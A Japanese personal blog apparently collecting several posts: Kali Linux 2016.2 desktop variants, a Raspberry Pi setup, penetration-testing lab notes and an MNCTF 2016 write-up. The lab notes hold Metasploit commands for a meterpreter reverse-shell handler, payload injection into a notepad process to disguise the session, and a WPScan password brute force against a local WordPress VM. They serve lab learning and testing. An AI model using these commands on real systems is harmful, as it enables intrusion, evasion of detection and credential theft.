Kali Linuxが、新しくなったそうです

f:id:appleseedj073:20160908103250p:plain

BlackHatも終わったし、そろそろかと思っていたら8月末に新しいヤツが出てましたね。

 

www.kali.org

しかも、今回のバージョンではインターフェースを選べるようになってる!用意されているのは「MATE」、「LXDE」、「e17」、「Xfce」の4種類。

別にいつも通りでいいんだけどねw

 

とりあえず今回加わったラインナップをLiveCDで確認してみた。

ダウンロード貼っときます。

www.kali.org

 

MATE

http://cdimage.kali.org/kali-2016.2/kali-linux-mate-2016.2-amd64.iso

Linux Mintをうちの若い子が使ってるけど、Kaliバージョンはどうなのよ?

f:id:appleseedj073:20160908105112p:plain

起動画面

 

f:id:appleseedj073:20160908105157p:plain

メニュー画面

 

LXDE

http://cdimage.kali.org/kali-2016.2/kali-linux-lxde-2016.2-amd64.iso

Lubuntuとかかな?早くて良いってイメージがある。

f:id:appleseedj073:20160908112516p:plain

ログイン画面からの〜

 

f:id:appleseedj073:20160908112558p:plain

起動画面

 

f:id:appleseedj073:20160908112632p:plain

で、メニュー画面。

確かに起動は、早いかな?(個人的な感想)

 

e17

http://cdimage.kali.org/kali-2016.2/kali-linux-e17-2016.2-amd64.iso

Bodhiが有名かな?これも早い?軽いらしい。

f:id:appleseedj073:20160908113004p:plain

起動画面

個人的にこのインターフェースは好きw

 

f:id:appleseedj073:20160908113044p:plain

メニュー画面

操作に関しては、慣れが必要になるかな?

 

Xfce

http://cdimage.kali.org/kali-2016.2/kali-linux-xfce-2016.2-amd64.iso

ネズミのマークでおなじみのw

Xubuntuとかで有名。でも、最近はメモリを消費するようになって軽いLinuxではなくなった様子。

f:id:appleseedj073:20160908113344p:plain

初回起動の質問からの〜

 

f:id:appleseedj073:20160908113413p:plain

起動画面

 

f:id:appleseedj073:20160908113452p:plain

メニュー画面

 

まとめ

個人的には、もともとで不満はないんだけど、LXDEかe17を試しに使ってみようかな?早くなるなら、早いに越したことはないしね。

【3時間クッキング】ラズベリーパイを作ってみる!

f:id:appleseedj073:20160824150827j:plain

夏休みだし、ちょっと3分クッキング的なことをしてみる

 

材料

f:id:appleseedj073:20160824150729j:plain

 

作り方

1 ラズベリーパイにヒートシンクを取り付ける。

f:id:appleseedj073:20160824154618j:plain

f:id:appleseedj073:20160824154657j:plain

 

2 ラズベリーパイをケースに固定する。

f:id:appleseedj073:20160824154727j:plain

 

3 公式ホームページからOSをダウンロードする。

 ラズベリーパイの公式ホームページに行くと、Raspbian(ラズビアン)とNOOBS(ヌーブス)の2つが選べるようになってる。【Raspbian】はラズベリーパイのOSで、【NOOBS】は【Raspbian】を含めた必要なファイルをまとめてダウンロードできるらしい。だから今回は、NOOBSをダウンロードしてインストールしてみようと思う。

f:id:appleseedj073:20160824153817p:plain

www.raspberrypi.org

NOOBSを選択

 

f:id:appleseedj073:20160824153828p:plain

※NOOBS liteには、Raspbianが入っていないらしいので注意しようw

 

ダウンロードしたら、Zipを展開して中身をMicroSDカードへ入れておく。

 

4 SDカードをラズベリーパイに入れる。

f:id:appleseedj073:20160824224356j:image

ケースの裏側に入れるところがある。

 

5 ディスプレイ、キーボード、マウス、LANケーブル、電源を繋ぐ。

f:id:appleseedj073:20160824224929j:image

ネットワークを認識すると、どのOSをインストールするか聞かれるのでRaspbianをチェックしてインストール。

 

6 あとは出来上がりまで待つだけ…

f:id:appleseedj073:20160824224956j:image

f:id:appleseedj073:20160824225004j:image

f:id:appleseedj073:20160824225020j:image

出来上がり!

 

・・・英語?インストールでは日本語だったのに英語ですか?

これ、小学校低学年の子供に与えようとしているのですが、母国語が日本語の小学生に扱えるのでしょうか?

否!

なんとかして日本語にしないとw

ググったら、親切なサイトがあったので参考にしながら設定してしていく。

liginc.co.jp

 

7 初期パスワードを変更する。

変更お手本サイトを参考にすると・・・まずは初期パスワードの変更をしないといけない様子。

f:id:appleseedj073:20160825212727j:plain

「Preferences」→「Raspberry Pi Configuration」

 

f:id:appleseedj073:20160825212936j:plain

「System」タブ→「Change Password」ボタン

これでパスワード変更できる。

 

8 次にラズベリーパイを最新の状態へアップデートする。

f:id:appleseedj073:20160825213124j:plain

「Preferences」→「Add/Remove Software」

 

f:id:appleseedj073:20160825213147j:plain

「Options」→「Refresh Package Lists」

 

f:id:appleseedj073:20160825213210j:plain

パッケージリストの更新が行われる・・・

 

f:id:appleseedj073:20160825213229j:plain

「Options」→「Check for Updates」

 

f:id:appleseedj073:20160825213250j:plain

アップデートが確認される・・・

 

f:id:appleseedj073:20160825213304j:plain

「Install Updates」をクリック

 

f:id:appleseedj073:20160825213331j:plain

先ほど変更したパスワードが求められる。入力したらインストールが始まる。

 

9 日本語環境を整える。

最新の状態にしても、日本語環境じゃありませんでした(当然ですよねw)

参考にしているWebサイトによると

更新が終わったら、日本語フォント「fonts-takao」をインストールします。一般的にはIPAフォントやVLGothicが使用されることが多いですが、今回はUbuntuの日本語版標準フォントであるTakaoを使用します。

と、あるので「Takao」というフォントをダウンロードする。

f:id:appleseedj073:20160825214156j:plain

「takao」で検索して出てきたやつをとりあえず全部インストールしてみたw

 

次にローカライゼーションをしないといけないらしい

f:id:appleseedj073:20160825212727j:plain

「Preferences」→「Raspberry Pi Configuration」

 

f:id:appleseedj073:20160825214520j:plain

ここで・・・

「Localization」タブを選択し、「Locale」「Timezone」「Keyboard」の3つを下記のとおり設定します。

  • Localeは、「ja(Japanese)」「JP(Japan)」「UTF-8」に設定
  • Timezoneは、「Asia」「Tokyo」に設定
  • Keyboardは「Japan」「Japanese」を選択。

と設定するらしいのでその通りに実施。

 

f:id:appleseedj073:20160825214701j:plain

再起動しろって言われるので従ってみる。

すると・・・日本語になった!☆*:.。. o(≧▽≦)o .。.:*☆

 

でも、まだ日本語入力できない。

Webサイトによると日本語入力のためのプログラムが足りないらしいので以下の手順に従ってインストール。

iBus-anthy」というプログラムが一般的だそうですが、今回は、WindowsMac
で使える「Google日本語入力」のオープンソース版である「iBus-mozc」を使用します。必要なプログラムは以下の6つです。(「ibus」の検索ワードで検索すると出てきます!)

  • Intelligent Input Bus – GTK+3 support
  • Intelligent Input Bus- GTK+2 support
  • Mozc engine for iBus – Client of the Mozc input method
  • qt-immodule for ibus (QT4)(plugin)
  • Intelligent Input Bus – core
  • Input method configuration framework

 

インストールしたら「iBus」の設定を変更する。

f:id:appleseedj073:20160825215130j:plain

「設定」→「iBusの設定」

 

f:id:appleseedj073:20160825215146j:plain

「入力メソッド」タブの「日本語-Japanese」が邪魔なので削除する。

すると、日本語入力ができるようになる。

 

最後に、200℃に予熱したオーブンで焼き上げると美味しいラズベリーパイの完成です(嘘)

とある親父の侵入実験【便利技】

f:id:appleseedj073:20160813022549p:plain

ペネトレーションテストなどをやっていると、何度も繰り返し侵入してみたりする。その度に待ち受け用のHandlerを指定したりするのも結構手間である。

そこで、手抜き技と言うかMetasploitの便利な仕組みとしてのリソースファイルを活用する。このリソースファイルは、ただコマンドをテキストに書き連ねただけでそれを呼び出して実行しているだけ。

例えば、よく使うHandlerのリソースファイルならこんな感じに・・・

 root@kali:~# touch handler.rc
 root@kali:~# echo use exploit/multi/handler >> handler.rc
 root@kali:~# echo use PAYLOAD windows/meterpreter/reverse_tcp >> handler.rc
 root@kali:~# echo set LHOST 172.16.120.1 >> handler.rc
 root@kali:~# echo set ExitOnSession false >> handler.rc
 root@kali:~# echo exploit -j -z >> handler.rc

これでHandler.rcというファイルに必要な手順が書き込まれる。

使用する時は以下の要領で実行

Metasploit起動前

 root@kali:~# msfconsole -r handler.rc

Metasploit起動後

 msf > resource handler.rc

 

このリソースファイルは、他にも活用する場面があると思うので書き残しておく。

とある親父の侵入実験【潜伏(インジェクション)】

f:id:appleseedj073:20160813022549p:plain

上手く侵入できても、不審なプロセスとして止められてしまっては意味がないので、別なプロセスとして偽装し潜伏させるのが御作法らしい。

 

まずはmeterpreterでsessionの確認

f:id:appleseedj073:20160816135429p:plain

最初に作成されたセッションが確認できる。

 

f:id:appleseedj073:20160816135641p:plain

 msf > use exploit/windows/local/payload_inject 

 msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_htt

次にインジェクションを行うexploitを指定して必要なPYALOAD、パラメータを指定する。途中の入力項目「NEWPROCESS true」は、新規にnotepadのプロセスを立ち上げてそれにインジェクションすることになる。falseにした場合は、インジェクションするPIDを指定する。

 

f:id:appleseedj073:20160816135844p:plain

入力内容を確認したらexploitする。成功すると、指定したポートに対して新しいセッションが作成される。

 

f:id:appleseedj073:20160816140225p:plain

ちゃんと対象の端末に侵入できている事が確認できる。

 

f:id:appleseedj073:20160816135356p:plain

セッションが増えているのも確認できる。

ここまでの手順で、notepad.exeのプロセスを起動してインジェクションして新たなセッションを作成したことになる。これで、見た目はnotepadのプロセスという一般的な攻撃手法の完成になる。

とある親父の侵入実験【nmap編】

f:id:appleseedj073:20160813022549p:image

御坂美琴の様なツンデレが好きですが何か?

 

今後、ペネトレーションテスト的な需要が増えそうなので頻繁に使うツールについてまとめておこうと思う。基本的にKali Linuxを使用することが前提でまとめる。

尚、ここでの攻撃対象はMetasploitableを用意している。説明については省略。

 

まずは、誰しもが調査に使うであろうnmapについて。正直自分は、そこまでnmapを使いこなしていない。とりあえずって感じでざっくり調査しておしまいという雑な攻撃しかしないので・・・。

そこで、とりあえず解説してるサイトからオプションを参照してみる。

 

-A OSとバージョンを検知しようとする
-sL 指定したネットワーク内のホスト一覧を表示する(リストスキャン)
-sP pingに応答するホストの一覧を表示する(Pingスキャン)
-sS TCPのSYNパケットを送ってSYN+ACKが返ってくるか調べる(TCP SYNスキャン/TCPハーフスキャン)
-sT TCPでポートに接続できるかを調べる(TCP Connectスキャン)
-sV ソフトウェア名とバージョンの表示を有効にする
-sU UDPポートをスキャンする(UDPスキャン)
-sF FINフラグだけのパケットを送って調べる(TCP FINスキャン)
-sN まったくフラグなしのパケットを送って調べる(TCP Nullスキャン)
-sX FIN/PSH/URGフラグを立てたパケットを送って調べる(Xmasスキャン)
-sA ACKフラグだけのパケットを送って調べる(TCP ACKスキャン)
-b FTP_HOST FTP_HOSTのFTPサーバを利用して調べる(FTPバウンススキャン)
-O OSを検出しようとする
-P0 Pingスキャンを行わない(アクティブなマシンを割り出すためのホスト発見プロセスが省略される)
-PS [PORTLIST] PORTLISTで指定したポート(デフォルトは80番)にSYNフラグ付きの空TCPパケットを送信する(TCP SYN Ping
-PA [PORTLIST] PORTLISTで指定したポート(デフォルトは80番)にACKフラグ付きの空TCPパケットを送信する(TCP ACK Ping
-PU [PORTLIST] PORTLISTで指定したポート(デフォルトは31338番)に空UDPパケットを送信する(UDP Ping
-PE ICMPタイプ8(エコー要求)パケットをターゲットに送信する(ICMP Ping
-PR IPベースのスキャンより高速なARPスキャンを行う(ARP Ping
-n DNSによる逆引き名前解決を行わない
-R すべてのターゲットに対して常にDNSによる逆引き名前解決を行う
-p PORT スキャンするポートをPORTで指定する(1-1023、U:53,T:80)UはUDPポート、TはTCPポートを示す
-F 限定したポートのみ調べる(約1200ポート)
-r 調べるポートの順番を無作為(デフォルト)ではなく順に選ぶ

Linuxコマンド集 - 【nmap】ポートスキャンを実施する:ITpro より

 

こうやって見てみると、とりあえずリファレンスに書いてあるオプションをそのまま使っていただけだなぁ・・・と、しみじみ思うσ(^_^;)

 

じゃあ実際にいつも使っているコマンドはどんな感じかというと・・・

 nmap IPアドレス

 nmap ネットワークアドレス

 nmap -v -A IPアドレス

 

レパートリー少ないな・・・。

このままじゃ自分にとっても何の参考にもならないので、プレゼンの時によく使うnmapのGUIアプリケーション「Zenmap」の中からオプションの組み合わせを参考にしてみる。

f:id:appleseedj073:20160814224827p:plain

ちなみにZenmapの画面。コマンドライン上で

 zenmap

と入力すると立ち上がる。

Zenmapのスキルプロファイルから選択できる項目は10種類

1. Intense scan

 nmap -T4 -A -v ホスト名 or IPアドレス

 「-T4」:タイミングのテンプレートを「aggressive」に指定して実行。

以下にテンプレートの解説をnmapのオフィシャルより引用。

テンプレート名は、paranoid (0)、sneaky (1)、polite (2)、normal (3)、aggressive (4)、insane (5)である。最初の2つは、IDS回避用のテンプレートである。Politeモードは、スキャン処理速度を落とし、帯域幅とターゲットマシンのリソースの使用量を少なくするためのものである。Normalモードはデフォルトなので、としても特に何もしない。Aggressiveモードは、ユーザが適度に高速で信頼性の高いネットワーク上にいることを想定して、スキャン速度を上げる。最後にInsaneモードは、非常に高速なネットワーク上にいるか、あるいは速度と引き換えに精度の一部を犠牲にしても構わない場合を想定したモードである。

 「-A」:OSとバージョンを検知する

 「-v」:詳細なスキャン情報を取得

2. Intense scan plus UDP

 nmap -sS -sU -T4 -A -v ホスト名 or IPアドレス

 「-sS」:TCPのSYNパケットを送ってSYN+ACKが返ってくるか調べる(TCP SYNスキャン/TCPハーフスキャン)

 「-sU」:UDPポートをスキャンする(UDPスキャン)

3. Intense scan, all TCP ports

 nmap -p 1-65535 -T4 -A -v ホスト名 or IPアドレス

 「-p <ポート番号>」:ポート番号を指定する(ここでは1-65535)

4. Intense scan, no ping

 nmap -T4 -A -v -Pn ホスト名 or IPアドレス

 「-Pn」:事前のPing送信をせずにスキャンを行う

5. Ping scan

 nmap -sn ネットワークアドレス

 「-sn」:ホスト検出を行うが、ポートスキャンは行わない。

6. Quick scan

 nmap -T4 -F ホスト名 or IPアドレス

 「-F」:限定したポートのみ調べる(約1200ポート)

7. Quick scan plus

 nmap -sV -T4 -O -F --version-light ホスト名 or IPアドレス

 「-sV」:ソフトウェア名とバージョンの表示を有効にする

 「-O」:OSを検出しようとする

 「--version-light」:ライトモードのバージョン検出を行う。強度2でバージョン検出を行う

 ※バージョン検出に関連した他のオプション

 「--version-intensity <強度>」:バージョン検出に対する強度を指定する。バージョン検出に対し、0-9の強度を指定する。強度数値が高いほど精度が上がるが、時間がかかる。デフォルト値は7に設定

 「--version-all」:全てのバージョン検出を試みる。強度9でバージョン検出を行う

 「--version-trace」:バージョンスキャンの動作をトレース   

8. Quick traceroute

 nmap -sn --traceroute ホスト名 or IPアドレス

 「--traceroute」:対象ホストまでのパスをトレース

9. Regular scan

 nmap ホスト名 or IPアドレス

10. Slow comprehensive scan

 nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" ホスト名 or IPアドレス

 「-PE」:ICMPタイプ8(エコー要求)パケットをターゲットに送信する(ICMP Ping

 「-PP」:タイプ13(タイムスタンプ要求)のICMPパケットを送信

 「-PS <ポートリスト>」:SYNフラグ付きの空のTCPパケットを送信。<ポートリスト>はSYN付きTCPパケットを送信するポートのリスト。<ポートリスト>が設定されない場合、デフォルトの80が使用される。カンマ区切りで複数のポート、25-80の様にハイフンで範囲が指定できる。

 「-PA <ポートリスト>」:ACKフラグ付きのTCPパケットを送信。仕様は「-PS」とほぼ同様

 「-PU <ポートリスト>」:空のUDPパケットを送信。仕様は「-PS」とほぼ同様

 「-PY」:SCTP(Stream Control Transmission Protocol) INIT

 「--script<スクリプトカテゴリ>|<ディレクトリ>|<ファイル名>|<全て> 」:使用するスクリプトを指定

 もう、これだけでも使いこなせたら完璧な気になってしまうのは考え甘いかな(>_<)

 

簡単にだけどnmapを使ってみて、どんな答えが返ってくるかをまとめる。

 

f:id:appleseedj073:20160815222317p:plain

基本、これだけでもどんなポートが解放されているのかが判別できる。いつもは、これやっておしまいw

 

f:id:appleseedj073:20160815222657p:plain

f:id:appleseedj073:20160815222729p:plain

f:id:appleseedj073:20160815222752p:plain

情報量半端ない!

これからはもう少しnmapを有効活用できるように頑張りますw

WordPressを調査する

f:id:appleseedj073:20160812012217p:image

WordPressです。

とてもお手軽にサイトを作れるってのでお馴染みのWordPressです。でも、コイツやたらと脆弱性情報界隈を賑やかしてますよw

そんなわけで、実際にWordPressってのがどれだけ攻撃者からお手軽に狙われやすいのか調べてみます。

本日のお品書き

  1. WordPress環境の準備
  2. 調査ツール WPScanについて
  3. 調査

の流れで始めます。

1.WordPress環境の準備

WordPressの環境ってことで、いつも通りグーグル先生にお伺いを立てたらこんなサイトを紹介してくれた。

f:id:appleseedj073:20160812084307p:plainってなんて読むんだろ?w

とりあえずこちらでダウンロードさせてもらえる。

f:id:appleseedj073:20160812085057p:plain

https://bitnami.com/stack/wordpress/virtual-machine

ダウンロードしてきたらVMwareか、VirtualBoxで読み込んであげればOK

読み込んだら起動してやる。

 

f:id:appleseedj073:20160812090458p:plain

こんな感じ起動するので赤字で書いてあるように「bitnami」って入力してログインを完了する。

ubuntuのログインも求められるのでユーザー名「bitnami」とパスワードを入力。ちなみにパスワードは初回起動時に設定しろと言われるのでそこで設定したパスワードを入力。

 

f:id:appleseedj073:20160812090703p:plain

完了するとこんな感じ。あとは、接続先になるのでIPアドレスを確認しておけば準備はおしまい。

 

2.調査ツール WPScanについて

f:id:appleseedj073:20160812121427p:plain

Rubyで書かれたWordPress用の脆弱性スキャンツールで、基本的にKali Linuxを使用していればインストールを意識しなくてもコマンドラインから呼び出して使用できる。

WPScan by the WPScan Team

 

f:id:appleseedj073:20160812122103p:plain

Kali Linuxからコマンドラインで wpscan と入力することで起動。

引数を指定しない状態で入力すると簡単な使い方についての説明が表示される。

 

f:id:appleseedj073:20160812122412p:plain

ヘルプ
wpscan --help

侵入とかはナシでのチェック
wpscan --url www.example.com

50スレッド使って列挙したユーザーへ、パスワードリストを使ってのブルートフォースアタック
wpscan --url www.example.com --wordlist darkc0de.lst --threads 50

「admin」だけに、パスワードリストを使ってのブルートフォースアタック
wpscan --url www.example.com --wordlist darkc0de.lst --username admin

plug-inの表示
wpscan --url www.example.com --enumerate p

テーマの表示
wpscan --url www.example.com --enumerate t

ユーザの表示
wpscan --url www.example.com --enumerate u

Timthumbの表示
wpscan --url www.example.com --enumerate tt

HTTP proxy を使用してのチェック
wpscan --url www.example.com --proxy 127.0.0.1:8118

SOCKS5 proxy を使用してのチェック
wpscan --url www.example.com --proxy socks5://127.0.0.1:9000

カスタム・コンテンツ・ディレクトリの使用
wpscan -u www.example.com --wp-content-dir custom-content

カスタム・プラグインディレクトリの使用
wpscan -u www.example.com --wp-plugins-dir wp-content/custom-plugins

wpscanのアップデート
wpscan --update

デバッグ結果を出力
wpscan --url www.example.com --debug-output 2>debug.log

 

3.調査

 準備ができたので、調査を開始。いちお調査先をNmapで下調べ

nmap -v -A 192.168.10.15(調査対象WordPress

 

f:id:appleseedj073:20160812142351p:plain

80番ポートが空いていて、WordPress 4.5.3ってバージョンまでわかる結果が表示された。Nmap優秀w

WordPressが動いているWebサイトだと確認が取れたのでWPScanで調査開始。

wpscan --url '192.168.10.15' --enumerate

f:id:appleseedj073:20160812143900p:plain

f:id:appleseedj073:20160812143947p:plain

f:id:appleseedj073:20160812144027p:plain

f:id:appleseedj073:20160812144056p:plain

こんな感じの結果が表示される。今回、enumerateに引数を与えなかったので、全て表示されている。

プラグイン、ユーザ情報などなどが丸見え。

ちなみに表示の中で[!]で始まってるところが脆弱性情報。これをググれば、どんな脆弱性なのかがわかる。

 

せっかくなのでWPScanの攻撃的な側面としてのブルートフォースアタックも試してみる。先ほどと同じサイトにユーザを追加して、よくある脆弱なパスワードを設定した。そして、よく使われるパスワードをまとめたワードリストを用意してブルートフォースを仕掛けてみる。

wpscan --url '192.168.10.15' --wordlist ~/passlist --threads 50

※本気でブルートフォースしてみたら、時間がかかりすぎたのでパスワードを書き込んだpasslistを用意して実行

f:id:appleseedj073:20160812155049p:plain

 WPScanの機能でユーザを探し出し、ブルートフォースでパスワードまで抽出することができた。

WPScan恐るべし・・・。脆弱性のスキャンだけじゃなくパスワードまで取れるとは(; ̄O ̄)

 

せっかくだからWordPressをバージョンアップして、再度スキャンしてみた。

f:id:appleseedj073:20160812163056p:plain

f:id:appleseedj073:20160812163123p:plain

f:id:appleseedj073:20160812163151p:plain

先ほどのノーガード状態に比べるとだいぶマシになった様子。これくらいの状況で運用できるのがベターなのかな?

 

WordPress脆弱性を放置するのが、とても危険なのは理解している。でも、みんなわかっていてもバージョンアップできない理由があるという事を沖縄で学んだ。「脆弱性があるからパッチを当ててください」「バージョンアップして下さい」って言う方は簡単だけど、サイトを運営している人からするとパッチを当てた影響の確認や、バージョンアップした結果の互換性の問題などを検証し考慮しないといけない。

セキュリティについて発信していくなら、「脆弱性が見つかりましたから速やかにアップデートをして下さい」だけでなく、アップデート出来ないならば回避策なんかを提案できると良いのかな?と考える今日この頃でありました。

マクニカよ!私は帰ってきた!! MNCTF2016 writeup

『待ちに待った時が来たのだ!
多くの英霊が無駄死にで無かったことの証の為に・・・
再びジオンの理想を掲げる為に!
星の屑成就のために!
ソロモンよ!私は帰ってきた!! 』

f:id:appleseedj073:20160625231816j:plain

金曜日の朝、品川に着いた時はこんな気分でしたよw

まぁ、結果としてはガトーに吹っ飛ばされた側でしたねw

 

忘れないうちにwriteupしておきます。

サイトも公開されたのでやり直しを兼ねてね。

http://mnctf.info/mnctf2016/

 

今年は昨年よりも会場が広く感じました。

会場に入ると正面のスクリーンにでっかく「MNCTF」の文字がwww

f:id:appleseedj073:20160709224815j:plain

相変わらずオシャレなTOPページですね。

 

f:id:appleseedj073:20160709223812p:plain

今年の問題はこんな感じでした。

全体的な感想としては、多くの参加者さんが「昨年より簡単」みたいなことを言われていたのですが、私個人的には昨年より苦戦した感じですねw

あと、昨年の問題は凌さんがほとんど手がけていたようですが、今年の問題は何人かで手分けをして作成されたそうです。そのせいなのか?問題の雰囲気が昨年とはだいぶ違った感じがしました。自分としては2015の問題が好きですね。

 

ではwriteupてきな・・・

※あくまで私の個人的な解答方法です。手順がまどろっこしいとか、無駄が多いとかは多々あると思いますが、そこら辺はご愛嬌ということでw

点呼

昨年と同じ。「MNCTF2016」と入力して点呼完了。

暗号新聞

クロスワード。昨年よりは難易度も規模も小さめ。

f:id:appleseedj073:20160709230805p:plain

 ヨコの鍵

 タテの鍵

f:id:appleseedj073:20160709231103p:plain

同一集団1〜5

ドメイン調査。対象ドメインWHOIS登録情報から同一攻撃者が保持している他のドメインを調査して解答。

f:id:appleseedj073:20160709233339p:plain

 shinobot.comをaguse.jpで調査すると、まず1個目のドメインをゲット。

f:id:appleseedj073:20160709233450p:plain

そのままwhoisでも調査するとメールアドレスを無事ゲット。ゲットしたメールアドレスをググったら他のドメインもゲット!

難読記録

正規表現・・・。これは本番では解答できなかった( ;  ; )

説明を聞いたんだけど途中までしか理解できなく・・・というか全部をメモしなかったw

そんなわけで、ググりながら正規表現を完成させてみました。

問題より条件が

  • 先頭は「AD」から始まる(ドメイン名)
  • そのあとに16進数が6文字続く
  • 英字はすべて大文字

という感じなので「AD\[0-9A-F]{6}」と組み立てて入力すると・・・

f:id:appleseedj073:20160710000729p:plain

ログの中にADAABBCCDDというのが混入していて余計に抽出してしまってる。そこでもう一度ググりました。で、見つけたこのサイトを参考にして正規表現に追加しました。いらないDDの部分を除去する内容を追加して「AD\[0-9A-F]{6}(?!DD)」として上手くいきました。

超持株会

f:id:appleseedj073:20160710004353p:plain

株購入のページでデータの改ざんをして第三者に買わせるような感じ。ページを確認すると株は100口までしか買えないし、ログインしているのは買わせたい人とは違う。ということで「burpsuite」を起動して途中のパラメータを改ざんしてみる。

f:id:appleseedj073:20160710004406p:plain

burpsuiteで途中のデータを確認して、

f:id:appleseedj073:20160710004546p:plain

IDを「A20050023」にstockを「1000」変更して送ればフラグゲット。

権限昇格

問題からダウンロードしてきたファイルを「BinText」で見てみる。

f:id:appleseedj073:20160717222300p:plain

文字列の中に「MS16_032」というのを発見する。これをググればCVE番号もすぐに見つかる。

【2016/07/17 Update 当初利用していた「Strings」というGUIツールが入手出来ないという指摘があったので「BinText」に変更】

一行挿入

これもjavaの難読化が解けなくて本番ではダメだった。

まずは、問題の難読化されている不審なスクリプトを難読化を解除してくれる便利なサイトに投げる。

Online JavaScript beautifier

すると・・・

f:id:appleseedj073:20160710005342p:plain

こんな風に表示される。読めるw

userAgentが「ShinoBrowser 1.0.0.1」だと何かありそうな感じなのでuserAgentを「ShinoBrowser 1.0.0.1」に変更して接続すると違うサイトに誘導される。そのサイトを答えたらフラグゲット。

超標的型

これも本番では出来なかった。問題より入手した検体を動的解析しようにも起動しないし、当然表層解析でも面白い答えは出てこない。最後の手段でIDAを使って静的解析をすると

f:id:appleseedj073:20160710010300p:plain

「答えはコンピュータ名です。」というのが見つかる。

このコメントの前後で呼ばれている関数を見てみると

f:id:appleseedj073:20160710010406p:plain

何かをくみ上げてる感じが・・・(落ち着いて見ればわかるw)

これを文字コード表で調べてみると端末名になった!

丸文字文

当然、これもできてません。そしてこれを書いてる今でもできてませんw

多分、この丸で囲まれている文字を普通の文字に直して変換系のサイトに投げてやればいいんだと思うけど・・・ちょっと難しい。俺には

 

まとめ

いろいろとCTFは参加させてもらっているけど、マクニカのCTFが一番業務に直結するスキルだと思ってる。だから、なおさら解けないと悔しい( ;  ; )

そして今回一番の驚きは、毎回問題に登場している「てしがわら」さんが実在していた!w てっきり株式会社マクニキと同じ架空の人物だと思ってたのに(⌒▽⌒)

 

そしてCTFに参加しただけなのに参加賞が半端ないレベルで驚いた!本当にもらっていいのかな?逆にここから問題でるの?って思ってしまったりw

 

本当にマクニカさんに感謝です。あと、セッションの合間にいろいろと情報提供してくださった凌さんにもこの場を借りてお礼申し上げます。ありがとうございました。創作意欲が湧いてきました!w

 

f:id:appleseedj073:20160710011315j:plain

CTF参加賞で頂いた書籍と、懇親会の後に頂いたお菓子

 

来年も参加するぞ!たとえ仕事をサボってでもw